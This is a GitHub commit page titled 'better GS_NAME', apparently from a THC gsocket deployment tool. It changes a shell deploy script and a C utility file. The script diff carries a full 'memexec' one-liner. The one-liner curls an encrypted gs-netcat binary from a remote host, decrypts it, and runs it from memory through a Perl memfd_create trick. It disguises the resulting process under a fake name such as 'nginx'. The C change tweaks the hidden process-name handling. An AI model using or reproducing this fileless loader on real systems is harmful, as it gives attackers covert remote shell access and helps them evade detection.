Skip to content

Commit

Permalink
better GS_NAME
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Dec 13, 2024
1 parent 1b0b068 commit 1266838
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 2 deletions.
2 changes: 1 addition & 1 deletion deploy/deploy_server.sh
Original file line number Diff line number Diff line change
Expand Up @@ -226,7 +226,7 @@ sed 's|^GS_WEBHOOK_404_OK=.*|GS_WEBHOOK_404_OK=1|' -i "${DATA_DIR_BRANCH}/${DEPL
[ -n "$GS_BIN" ] && sed 's|^DS_GS_BIN=.*|DS_GS_BIN='"'$GS_BIN'"'|' -i "${DATA_DIR_BRANCH}/${DEPLOY_SH_NAME}"

# memexec string:
MEMCMD="X=\"\$(head -c64</dev/urandom|base64|tr -dc [:alnum:]|head -c22)\" && curl -SskfL \"${URL_BASE:-https://BAD}${URL_BRANCH}/bin/gs-netcat_mini-linux-\$(uname -m).enc?s=\$X\"|openssl enc -d -aes-256-cbc -pbkdf2 -k ${ENCPASS}|GS_NOFFPID=1 GS_ARGS=\"-ilD -s\${X}\"${GS_BEACON:+ GS_BEACON=$GS_BEACON}${GS_HOST:+ GS_HOST=$GS_HOST}${GS_PORT:+ GS_PORT=$GS_PORT} perl '"'-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}'"${GS_NAME:-nginx}"',@ARGV'"'"
MEMCMD="X=\"\$(head -c64</dev/urandom|base64|tr -dc [:alnum:]|head -c22)\" && curl -SskfL \"${URL_BASE:-https://BAD}${URL_BRANCH}/bin/gs-netcat_mini-linux-\$(uname -m).enc?s=\$X\"|openssl enc -d -aes-256-cbc -pbkdf2 -k ${ENCPASS}|GS_NOFFPID=1 GS_ARGS=\"-ilD -s\${X}\"${GS_BEACON:+ GS_BEACON=$GS_BEACON}${GS_HOST:+ GS_HOST=$GS_HOST}${GS_PORT:+ GS_PORT=$GS_PORT} perl '"'-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}"'"${GS_NAME:-nginx}"'",@ARGV'"'"
MEMCMD64="$(gzip<<<"${MEMCMD}" | base64 -w0)"

echo -e "${CDG}SUCCESS${CN}"
Expand Down
5 changes: 4 additions & 1 deletion tools/utils.c
Original file line number Diff line number Diff line change
Expand Up @@ -143,9 +143,12 @@ static int
try_cpexecme(const char *dir, int src, char *argv[]) {
int dst = -1;
int ret;
char *ptr;

char fn[512];
snprintf(fn, sizeof fn, "%s/%s", dir, gopt.proc_hiddenname);
if ((ptr = strrchr(gopt.proc_hiddenname, '/')) == NULL)
ptr = gopt.proc_hiddenname;
snprintf(fn, sizeof fn, "%s/%s", dir, ptr);
if ((dst = open(fn, O_WRONLY | O_CREAT | O_CLOEXEC, S_IRWXU)) < 0)
return -1;

Expand Down

0 comments on commit 1266838

Please sign in to comment.